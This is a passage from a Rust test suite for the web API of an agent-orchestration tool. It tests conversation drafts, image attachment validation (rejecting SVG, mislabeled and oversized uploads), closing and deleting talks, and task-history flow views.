16928                &format!("/api/talks/{id}/pending/edit"),
16929                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16930            )
16931            .await;
16932        assert_eq!(edited.status, 200, "{}", edited.body);
16933        assert!(edited.json()["thinking"].as_bool().unwrap());
16934
16935        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16936        for _ in 0..SETTLE_STEPS {
16937            if detail["turns"].as_array().expect("turns").len() == 2 {
16938                break;
16939            }
16940            tokio::time::sleep(Duration::from_millis(10)).await;
16941            detail = f.get(&format!("/api/talks/{id}")).await.json();
16942        }
16943        let turns = detail["turns"].as_array().expect("turns");
16944        assert_eq!(
16945            turns.len(),
16946            2,
16947            "the recovered draft must run once: {detail}"
16948        );
16949        assert_eq!(turns[0]["body"], "corrected");
16950        assert_eq!(detail["pending"], "");
16951    }
16952
16953    #[tokio::test]
16954    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16955        let tmp = TempDir::new().expect("tempdir");
16956        let repo = tmp.path().join("repo");
16957        std::fs::create_dir_all(&repo).expect("repo dir");
16958        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16959        let f = Fixture::with_repo(repo).await;
16960        let id = f.post("/api/talks", None).await.json()["id"]
16961            .as_str()
16962            .expect("id")
16963            .to_owned();
16964        let store = f.talks();
16965        let mut recovered = store.get(&id).expect("opened talk");
16966        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16967            .expect("persist pending draft without a live turn");
16968
16969        let refused = f
16970            .post(
16971                &format!("/api/talks/{id}/say"),
16972                Some(r#"{"text":"new message"}"#),
16973            )
16974            .await;
16975        assert_eq!(refused.status, 409, "{}", refused.body);
16976        assert!(refused.body.contains("resume"), "{}", refused.body);
16977        let saved = store.get(&id).expect("draft remains after refusal");
16978        assert!(saved.turns.is_empty());
16979        assert_eq!(saved.pending, "saved before restart");
16980
16981        let say_path = format!("/api/talks/{id}/say");
16982        let (first, second) = tokio::join!(
16983            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16984            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16985        );
16986        assert_eq!(first.status, 409, "{}", first.body);
16987        assert_eq!(second.status, 409, "{}", second.body);
16988        let saved = store
16989            .get(&id)
16990            .expect("draft remains after concurrent refusals");
16991        assert!(saved.turns.is_empty());
16992        assert_eq!(saved.pending, "saved before restart");
16993
16994        let resumed = f
16995            .post(&format!("/api/talks/{id}/pending/resume"), None)
16996            .await;
16997        assert_eq!(resumed.status, 202, "{}", resumed.body);
16998        let duplicate = f
16999            .post(&format!("/api/talks/{id}/pending/resume"), None)
17000            .await;
17001        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
17002
17003        for _ in 0..SETTLE_STEPS {
17004            if store.get(&id).expect("talk").turns.len() == 2 {
17005                break;
17006            }
17007            tokio::time::sleep(Duration::from_millis(10)).await;
17008        }
17009        let finished = store.get(&id).expect("finished talk");
17010        assert_eq!(finished.turns.len(), 2, "{finished:?}");
17011        assert_eq!(finished.turns[0].body, "saved before restart");
17012        assert!(finished.pending.is_empty());
17013    }
17014
17015    #[tokio::test]
17016    async fn an_image_only_recovered_draft_resumes_without_text() {
17017        let (_tmp, _repo, f) = talk_fixture().await;
17018        let id = f.post("/api/talks", None).await.json()["id"]
17019            .as_str()
17020            .expect("id")
17021            .to_owned();
17022        let uploaded = f
17023            .post_bytes(
17024                &format!("/api/talks/{id}/attachments"),
17025                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
17026                PNG_BYTES,
17027            )
17028            .await;
17029        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
17030        let attachment = f
17031            .talks()
17032            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
17033            .expect("attachment metadata")
17034            .expect("stored attachment");
17035        let store = f.talks();
17036        let mut recovered = store.get(&id).expect("opened talk");
17037        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
17038
17039        let resumed = f
17040            .post(&format!("/api/talks/{id}/pending/resume"), None)
17041            .await;
17042        assert_eq!(resumed.status, 202, "{}", resumed.body);
17043        for _ in 0..SETTLE_STEPS {
17044            if store.get(&id).expect("talk").turns.len() == 2 {
17045                break;
17046            }
17047            tokio::time::sleep(Duration::from_millis(10)).await;
17048        }
17049        let finished = store.get(&id).expect("finished talk");
17050        assert_eq!(finished.turns.len(), 2, "{finished:?}");
17051        assert!(finished.turns[0].body.is_empty());
17052        assert_eq!(finished.turns[0].attachments.len(), 1);
17053        assert!(finished.pending_attachments.is_empty());
17054    }
17055
17056    #[tokio::test]
17057    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
17058        let (_tmp, _repo, f) = talk_fixture().await;
17059        let id = f.post("/api/talks", None).await.json()["id"]
17060            .as_str()
17061            .expect("id")
17062            .to_owned();
17063        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17064        assert_eq!(closed.status, 200, "{}", closed.body);
17065        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
17066            .expect("serialize closed talk");
17067        for (path, body) in [
17068            (format!("/api/talks/{id}/pending/resume"), None),
17069            (
17070                format!("/api/talks/{id}/pending/clear"),
17071                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
17072            ),
17073            (
17074                format!("/api/talks/{id}/pending/edit"),
17075                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
17076            ),
17077            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
17078        ] {
17079            let response = f.post(&path, body).await;
17080            assert_eq!(response.status, 409, "{}", response.body);
17081        }
17082        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
17083            .expect("serialize closed talk");
17084        assert_eq!(
17085            after_clear, before_clear,
17086            "clear must not rewrite a closed talk"
17087        );
17088    }
17089
17090    /// Keeps both claims observable long enough to exercise the distinction
17091    /// between one busy talk and a globally locked Chat surface.
17092    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
17093
17094    #[tokio::test]
17095    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
17096        let tmp = TempDir::new().expect("tempdir");
17097        let repo = tmp.path().join("repo");
17098        std::fs::create_dir_all(&repo).expect("repo dir");
17099        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
17100        let f = Fixture::with_repo(repo).await;
17101        let id_a = f.post("/api/talks", None).await.json()["id"]
17102            .as_str()
17103            .unwrap()
17104            .to_owned();
17105        let id_b = f.post("/api/talks", None).await.json()["id"]
17106            .as_str()
17107            .unwrap()
17108            .to_owned();
17109
17110        let a = f
17111            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
17112            .await;
17113        assert_eq!(a.status, 202, "{}", a.body);
17114        assert_eq!(a.json()["thinking"], true);
17115        let b = f
17116            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
17117            .await;
17118        assert_eq!(b.status, 202, "{}", b.body);
17119        assert_eq!(b.json()["thinking"], true);
17120
17121        let listed = f.get("/api/talks").await.json();
17122        for id in [&id_a, &id_b] {
17123            let view = listed
17124                .as_array()
17125                .unwrap()
17126                .iter()
17127                .find(|talk| talk["id"] == *id)
17128                .unwrap();
17129            assert_eq!(view["thinking"], true, "{listed}");
17130        }
17131        let repeated = f
17132            .post(
17133                &format!("/api/talks/{id_a}/say"),
17134                Some(r#"{"text":"again"}"#),
17135            )
17136            .await;
17137        assert_eq!(repeated.status, 202, "{}", repeated.body);
17138        assert_eq!(repeated.json()["pending"], "again");
17139    }
17140
17141    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
17142    /// few more, since real uploads are never exactly eight bytes.
17143    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
17144
17145    #[tokio::test]
17146    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
17147        let f = Fixture::start().await;
17148        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
17149
17150        let res = f
17151            .post_bytes(
17152                &format!("/api/talks/{id}/attachments"),
17153                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
17154                PNG_BYTES,
17155            )
17156            .await;
17157        assert_eq!(res.status, 201, "{}", res.body);
17158        let body = res.json();
17159        assert_eq!(body["name"], "shot.png");
17160        assert_eq!(body["mime"], "image/png");
17161        assert_eq!(body["bytes"], PNG_BYTES.len());
17162        let att_id = body["id"].as_str().expect("id").to_owned();
17163        assert_eq!(
17164            att_id.len(),
17165            32,
17166            "the id must never be a client-suppliable path: {att_id}"
17167        );
17168
17169        let got = f
17170            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
17171            .await;
17172        assert_eq!(got.status, 200, "{}", got.body);
17173        assert_eq!(got.header("content-type"), Some("image/png"));
17174        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
17175        assert_eq!(got.bytes, PNG_BYTES);
17176    }
17177
17178    #[tokio::test]
17179    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
17180        let f = Fixture::start().await;
17181        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
17182
17183        // SVG can carry a `<script>`, so it is never on the whitelist even
17184        // though it is a real IANA image type.
17185        let svg = f
17186            .post_bytes(
17187                &format!("/api/talks/{id}/attachments"),
17188                &[("Content-Type", "image/svg+xml")],
17189                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
17190            )
17191            .await;
17192        assert!(
17193            (400..500).contains(&svg.status),
17194            "svg must be refused: {} {}",
17195            svg.status,
17196            svg.body
17197        );
17198        assert!(svg.body.contains("SVG"), "{}", svg.body);
17199
17200        let text = f
17201            .post_bytes(
17202                &format!("/api/talks/{id}/attachments"),
17203                &[("Content-Type", "text/plain")],
17204                b"just some text",
17205            )
17206            .await;
17207        assert!(
17208            (400..500).contains(&text.status),
17209            "an unlisted type must be refused: {} {}",
17210            text.status,
17211            text.body
17212        );
17213
17214        // The declared type is a real png, but the size check runs before
17215        // the bytes are even looked at.
17216        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
17217        let big = f
17218            .post_bytes(
17219                &format!("/api/talks/{id}/attachments"),
17220                &[("Content-Type", "image/png")],
17221                &oversized,
17222            )
17223            .await;
17224        assert_eq!(
17225            big.status,
17226            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
17227            "{}",
17228            big.body
17229        );
17230    }
17231
17232    #[tokio::test]
17233    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
17234        let f = Fixture::start().await;
17235        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
17236
17237        // A whitelisted `Content-Type`, but bytes that are not actually a
17238        // png - the declared header alone is never trusted.
17239        let res = f
17240            .post_bytes(
17241                &format!("/api/talks/{id}/attachments"),
17242                &[("Content-Type", "image/png")],
17243                b"<html>not a picture</html>",
17244            )
17245            .await;
17246        assert!((400..500).contains(&res.status), "{}", res.body);
17247    }
17248
17249    #[tokio::test]
17250    async fn an_unknown_attachment_id_is_a_404() {
17251        let f = Fixture::start().await;
17252        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
17253
17254        let res = f
17255            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
17256            .await;
17257        assert_eq!(res.status, 404, "{}", res.body);
17258    }
17259
17260    #[tokio::test]
17261    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
17262        let f = Fixture::start().await;
17263        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
17264
17265        let uploaded = f
17266            .post_bytes(
17267                &format!("/api/talks/{id}/attachments"),
17268                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
17269                PNG_BYTES,
17270            )
17271            .await;
17272        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
17273        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
17274
17275        let res = f
17276            .post(
17277                &format!("/api/talks/{id}/say"),
17278                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
17279            )
17280            .await;
17281        assert_eq!(res.status, 202, "{}", res.body);
17282        let queued = res.json();
17283        let turns = queued["turns"].as_array().expect("turns array");
17284        assert_eq!(
17285            turns.len(),
17286            1,
17287            "an empty body with an attachment is still a turn: {queued}"
17288        );
17289        assert_eq!(turns[0]["who"], "operator");
17290        assert_eq!(turns[0]["body"], "");
17291        let atts = turns[0]["attachments"]
17292            .as_array()
17293            .expect("attachments array");
17294        assert_eq!(atts.len(), 1);
17295        assert_eq!(atts[0]["id"], att_id);
17296        assert_eq!(atts[0]["mime"], "image/png");
17297
17298        // Not only in the response: `record` flushes to disk before the
17299        // agent's own turn is even spawned.
17300        let on_disk = f.talks().get(&id).expect("get");
17301        assert_eq!(on_disk.turns[0].attachments.len(), 1);
17302        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
17303    }
17304
17305    #[tokio::test]
17306    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
17307        let f = Fixture::start().await;
17308        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
17309
17310        let res = f
17311            .post(
17312                &format!("/api/talks/{id}/say"),
17313                Some(&format!(
17314                    r#"{{"text":"hi","attachments":["{}"]}}"#,
17315                    "a".repeat(32)
17316                )),
17317            )
17318            .await;
17319        assert!((400..500).contains(&res.status), "{}", res.body);
17320        assert!(res.body.contains("unknown attachment"), "{}", res.body);
17321
17322        let on_disk = f.talks().get(&id).expect("get");
17323        assert!(
17324            on_disk.turns.is_empty(),
17325            "a rejected attachment id must not partially record the turn: {:?}",
17326            on_disk.turns
17327        );
17328    }
17329
17330    #[tokio::test]
17331    async fn talk_close_makes_the_talk_refuse_further_turns() {
17332        let f = Fixture::start().await;
17333        let id = seed_talk(&f, "20260904-014455-cd34", "open");
17334
17335        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17336        assert_eq!(closed.status, 200, "{}", closed.body);
17337        assert_eq!(closed.json()["status"], "closed");
17338
17339        // Idempotent: closing an already-closed talk is not an error.
17340        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
17341        assert_eq!(closed_again.status, 200);
17342        assert_eq!(closed_again.json()["status"], "closed");
17343
17344        let said = f
17345            .post(
17346                &format!("/api/talks/{id}/say"),
17347                Some(r#"{"text":"too late"}"#),
17348            )
17349            .await;
17350        assert_eq!(said.status, 409, "{}", said.body);
17351    }
17352
17353    #[tokio::test]
17354    async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
17355        let f = Fixture::start().await;
17356        let id = seed_talk(&f, "20260904-014455-cd34", "open");
17357        let store = f.talks();
17358        let mut queued = store.get(&id).expect("talk");
17359        for automatic in [false, true] {
17360            if automatic {
17361                talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
17362                    .expect("queue automatic input");
17363            } else {
17364                talk::queue(&mut queued, &store, "queued send", Vec::new())
17365                    .expect("queue operator input");
17366            }
17367            let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
17368            let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
17369            assert_eq!(refused.status, 409, "{}", refused.body);
17370            assert!(refused.body.contains("pending input"), "{}", refused.body);
17371            assert_eq!(
17372                serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
17373                before,
17374                "a close refusal must preserve the entire record"
17375            );
17376            talk::clear_pending(&mut queued, &store).expect("clear saved input");
17377        }
17378        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17379        assert_eq!(closed.status, 200, "{}", closed.body);
17380        assert_eq!(closed.json()["status"], "closed");
17381    }
17382
17383    #[tokio::test]
17384    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
17385        let (_tmp, _repo, f) = talk_fixture().await;
17386        let id = f.post("/api/talks", None).await.json()["id"]
17387            .as_str()
17388            .expect("id")
17389            .to_owned();
17390        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17391        assert_eq!(closed.status, 200, "{}", closed.body);
17392
17393        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17394        assert_eq!(reopened.status, 200, "{}", reopened.body);
17395        assert_eq!(reopened.json()["status"], "open");
17396
17397        // Idempotent: reopening an already-open talk is not an error.
17398        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17399        assert_eq!(reopened_again.status, 200);
17400        assert_eq!(reopened_again.json()["status"], "open");
17401
17402        let said = f
17403            .post(
17404                &format!("/api/talks/{id}/say"),
17405                Some(r#"{"text":"still there?"}"#),
17406            )
17407            .await;
17408        assert_eq!(
17409            said.status, 202,
17410            "a reopened talk accepts turns again: {}",
17411            said.body
17412        );
17413    }
17414
17415    #[tokio::test]
17416    async fn talk_reopen_on_an_unknown_id_is_404() {
17417        let f = Fixture::start().await;
17418        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
17419        assert_eq!(res.status, 404, "{}", res.body);
17420    }
17421
17422    #[tokio::test]
17423    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
17424        let f = Fixture::start().await;
17425        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
17426
17427        let deleted = f.delete(&format!("/api/talks/{id}")).await;
17428        assert_eq!(deleted.status, 204, "{}", deleted.body);
17429
17430        let after = f.get(&format!("/api/talks/{id}")).await;
17431        assert_eq!(after.status, 404, "{}", after.body);
17432
17433        let listed = f.get("/api/talks").await.json();
17434        assert!(
17435            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
17436            "a deleted talk must not linger in the list: {listed}"
17437        );
17438    }
17439
17440    #[tokio::test]
17441    async fn talk_delete_on_an_unknown_id_is_404() {
17442        let f = Fixture::start().await;
17443        let res = f.delete("/api/talks/nonexistent-id").await;
17444        assert_eq!(res.status, 404, "{}", res.body);
17445    }
17446
17447    /// A task's page lists every run it ever had, in order, and says what kind
17448    /// of attempt each was - including a resume, which re-pushes the same run
17449    /// id, and a run whose record this build cannot read.
17450    #[tokio::test]
17451    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
17452        let f = Fixture::start().await;
17453        let (a, b, gone) = (
17454            "20260902-140501-aaaa",
17455            "20260902-140502-bbbb",
17456            "20260902-140503-cccc",
17457        );
17458        write_run(&f.runs(), a, RunStatus::Stalled);
17459        let mut review = RunState::new(
17460            PathBuf::from("/repo/magi"),
17461            "main".to_owned(),
17462            "0123456789abcdef".to_owned(),
17463            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
17464                .to_owned(),
17465            Config::default(),
17466        );
17467        review.id = b.to_owned();
17468        review.status = RunStatus::Merged;
17469        write_state(&f.runs(), &review);
17470
17471        let mut task = Task::new(
17472            "retry".to_owned(),
17473            "Do the thing".to_owned(),
17474            PathBuf::from("/repo/magi"),
17475            Source::Human,
17476        );
17477        task.start(a.to_owned());
17478        task.stall("quota");
17479        task.start(a.to_owned());
17480        task.start(b.to_owned());
17481        task.start(gone.to_owned());
17482        // This fixture models an older queue file with repeated run entries.
17483        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
17484        f.queue().put(&mut task).expect("file the task");
17485
17486        let res = f.get(&format!("/api/queue/{}", task.id)).await;
17487        assert_eq!(res.status, 200, "{}", res.body);
17488        let v = res.json();
17489        let h = v["history"].as_array().expect("history");
17490        assert_eq!(h.len(), 4, "{v}");
17491        assert_eq!(h[0]["kind"], "competition");
17492        assert_eq!(h[0]["status"], "stalled");
17493        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
17494        assert_eq!(h[1]["kind"], "resume", "{v}");
17495        assert!(
17496            h[0]["outcome"]
17497                .as_str()
17498                .unwrap()
17499                .contains("unknown. Pass #2"),
17500            "an earlier pass of a resumed run must not claim the final outcome: {v}"
17501        );
17502        assert!(
17503            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
17504            "{v}"
17505        );
17506        assert!(
17507            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
17508            "an unrecorded cause must not be narrated as an operator park: {v}"
17509        );
17510        assert_eq!(h[2]["kind"], "review");
17511        assert!(
17512            h[2]["description"]
17513                .as_str()
17514                .unwrap()
17515                .contains("magi/aaaa/A")
17516        );
17517        assert_eq!(h[2]["status"], "merged");
17518        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
17519        assert_eq!(v["runs_unreadable"], 1);
17520        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
17521        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
17522        assert_eq!(nodes[4]["note"], "unreadable");
17523        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
17524        assert_eq!(v["instruction"], "Do the thing");
17525        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
17526
17527        // The run's own page links back to the task.
17528        let run = f.get(&format!("/api/runs/{a}")).await.json();
17529        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
17530
17531        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
17532    }
17533
17534    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
17535        let mut s = RunState::new(
17536            PathBuf::from("/repo/magi"),
17537            "main".to_owned(),
17538            "0123456789abcdef".to_owned(),
17539            "Do it".to_owned(),
17540            Config::default(),
17541        );
17542        s.status = status;
17543        edit(&mut s);
17544        s
17545    }
17546
17547    fn flow_task(runs: &[&str]) -> Task {
17548        let mut t = Task::new(
17549            "t".to_owned(),
17550            "Do it".to_owned(),
17551            PathBuf::from("/repo/magi"),
17552            Source::Human,
17553        );
17554        for r in runs {
17555            t.start((*r).to_owned());
17556        }
17557        // Synthetic flows without RunPass records model legacy queue data.
17558        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17559        t
17560    }
17561
17562    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17563        let h = task_history(task, |id| {
17564            states
17565                .iter()
17566                .find(|(i, _)| *i == id)
17567                .and_then(|(_, s)| s.clone())
17568        });
17569        task_flow(task, &h, 5, None)
17570    }
17571
17572    #[test]
17573    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17574        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17575        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17576        let first = "2026-10-10T02:00:00Z".parse().unwrap();
17577        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17578        let held = "2026-10-10T04:00:00Z".parse().unwrap();
17579        let run = flow_run(RunStatus::Implementing, |s| {
17580            s.created_at = created;
17581            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17582            s.passes[0].started_at = first;
17583            s.passes[1].started_at = resumed;
17584        });
17585        let mut task = flow_task(&[RUN_X, RUN_X]);
17586        task.created_at = queued;
17587        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17588        task.status = TaskStatus::Held;
17589        task.held_at = Some(held);
17590        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17591        assert_eq!(
17592            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17593            vec![Some(queued), Some(first), Some(resumed), Some(held)]
17594        );
17595        assert!(flow.nodes.iter().all(|n| n.time_expected));
17596        let json = serde_json::to_value(&flow).unwrap();
17597        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17598        assert_eq!(json["nodes"][2]["time_expected"], true);
17599    }
17600
17601    #[test]
17602    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17603        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17604        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17605        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17606        // These timestamps are not the start of the current status.
17607        task.held_at = Some(created);
17608        task.blocked_at = Some(created);
17609        for status in [
17610            TaskStatus::Queued,
17611            TaskStatus::Running,
17612            TaskStatus::Blocked,
17613            TaskStatus::Done,
17614            TaskStatus::Failed,
17615            TaskStatus::Parked,
17616            TaskStatus::Held,
17617        ] {
17618            task.status = status;
17619            if status == TaskStatus::Held {
17620                task.held_at = None;
17621            }
17622            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17623            assert_eq!(flow.nodes[1].started_at, Some(created));
17624            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17625            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17626            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17627            let json = serde_json::to_value(&flow).unwrap();
17628            assert!(json["nodes"][3]["started_at"].is_null());
17629            assert_eq!(json["nodes"][3]["time_expected"], true);
17630        }
17631    }
17632
17633    #[test]
17634    fn flow_context_links_do_not_expect_start_times() {
17635        let mut task = flow_task(&[]);
17636        task.source = Source::Agent {
17637            run: "chat-id".to_owned(),
17638            node: "chat".to_owned(),
17639        };
17640        let origin = followup_origin(&fu(None), |_| None, |_| None);
17641        let flow = task_flow(&task, &[], 5, Some(&origin));
17642        for node in &flow.nodes[..2] {
17643            assert!(!node.time_expected);
17644            assert_eq!(node.started_at, None);
17645        }
17646        assert!(flow.nodes[2].time_expected);
17647    }
17648
17649    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17650        crate::queue::FollowUp {
17651            run: "20260901-000000-aaaa".to_owned(),
17652            origin_task: origin_task.map(str::to_owned),
17653            pr: "https://example.com/o/r/pull/1".to_owned(),
17654            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17655                .map(str::to_owned)
17656                .to_vec(),
17657            generation: 1,
17658        }
17659    }
17660
17661    fn parent_task() -> Task {
17662        let mut p = flow_task(&[]);
17663        p.title = "Parent title".to_owned();
17664        p.status = TaskStatus::Done;
17665        p
17666    }
17667
17668    #[test]
17669    fn flow_opens_with_the_parent_task_of_a_followup() {
17670        let p = parent_task();
17671        let pid = p.id.clone();
17672        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17673        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17674        let n = &f.nodes[0];
17675        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17676        assert_eq!(
17677            n.label,
17678            format!("Follow-up of {}", crate::queue::short(&pid))
17679        );
17680        assert_eq!(n.detail.as_deref(), Some("Parent title"));
17681        assert_eq!(n.status, Some("done"));
17682        assert_eq!(n.status_of, "task");
17683        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17684        assert_eq!(f.nodes[1].key, "start");
17685        assert_eq!(f.edges[0].from, "origin");
17686        assert_eq!(
17687            f.edges[0].label,
17688            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17689        );
17690    }
17691
17692    #[test]
17693    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17694        let o = followup_origin(
17695            &fu(Some("gone")),
17696            |_| None,
17697            |_| {
17698                Some(RunState::new(
17699                    std::path::PathBuf::from("."),
17700                    "main".to_owned(),
17701                    "0".to_owned(),
17702                    "t".to_owned(),
17703                    crate::config::Config::default(),
17704                ))
17705            },
17706        );
17707        assert!(o.parent.is_none());
17708        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17709        let n = &f.nodes[0];
17710        assert_eq!(n.status_of, "run");
17711        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17712        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17713    }
17714
17715    #[test]
17716    fn flow_followup_with_nothing_readable_has_no_link() {
17717        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17718        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17719        let n = &f.nodes[0];
17720        assert_eq!(n.href, None);
17721        assert_eq!(n.note, Some("unreadable"));
17722        assert!(!n.readable);
17723    }
17724
17725    #[test]
17726    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17727        let o = followup_origin(&fu(None), |_| None, |_| None);
17728        let mut t = flow_task(&[]);
17729        t.origin_chat = Some("c1".to_owned());
17730        let f = task_flow(&t, &[], 5, Some(&o));
17731        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17732        t.source = Source::Agent {
17733            run: "c1".to_owned(),
17734            node: crate::queue::CHAT_NODE.to_owned(),
17735        };
17736        let f = task_flow(&t, &[], 5, Some(&o));
17737        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17738        assert_eq!(
17739            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17740            ("chat", "origin")
17741        );
17742    }
17743
17744    #[test]
17745    fn flow_links_companion_chat_without_claiming_chat_filing() {
17746        let mut t = flow_task(&[]);
17747        t.chat = Some("task-a b".into());
17748        t.chat_reservation = crate::queue::ChatReservation::Established;
17749        let f = flow_for(&t, &[]);
17750        assert_eq!(f.nodes[0].kind, "chat");
17751        assert!(f.nodes[0].label.starts_with("Companion chat "));
17752        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/task-a%20b"));
17753        assert_eq!(f.edges[0].label, "linked chat");
17754        t.chat_reservation = crate::queue::ChatReservation::Pending;
17755        assert!(flow_for(&t, &[]).nodes.iter().all(|n| n.kind != "chat"));
17756    }
17757
17758    #[test]
17759    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17760        let mut p = parent_task();
17761        p.id = "a b/c".to_owned();
17762        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17763        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17764    }
17765
17766    #[test]
17767    fn flow_opens_with_the_chat_that_queued_the_task() {
17768        let mut t = flow_task(&[]);
